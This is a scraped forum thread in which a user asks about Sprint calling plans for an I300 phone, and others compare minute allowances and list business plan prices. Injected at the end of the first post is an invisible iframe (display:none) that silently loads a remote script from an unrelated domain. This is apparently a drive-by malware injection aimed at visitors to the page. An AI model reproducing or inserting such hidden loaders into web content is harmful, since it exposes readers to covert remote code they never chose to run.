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  1. #1
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    Sprint calling plans: Best deals?

    Since it's apparent that i'm going to be using my I300 a lot, i'm thinking about changing my plan.

    Right now I get 1000 minutes (anytime, free long distance) for $75.

    On sprint's web site they're offering me two deals: 200 anytime/2800 nights/weekends = $29.99 or 500/4500 for $49.99.

    Are there any other deals that they are not telling me about on the site, or are these my choices? (I always wonder about these "personalized" web sites... if they are just showing me the deals that they want me to see vs. the whole range of options.) thanks.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
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    I have 2000/2000 anytime/night-weekends for $150 per month. I don't know how many minutes you need, but be careful of the new plans. The night/weekends minutes on the new plans starts at 9:00PM I'm not usre about you, but 9:00 doesn't work for me. Plus I need more anytime minutes, not nightime

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    These are the business service plans which offer a more anytime minutes but don't give you any weekend and afterhours minutes. For me that's fine as most of my calling is during the day. They also throw in voice command and wireless web and long distance. Need to sign up as a business account.

    $59.99-700 minutes
    $79.99-1200
    $99.99-1500
    119.99-2000
    $149.99 -3000
    $199.99 -4000

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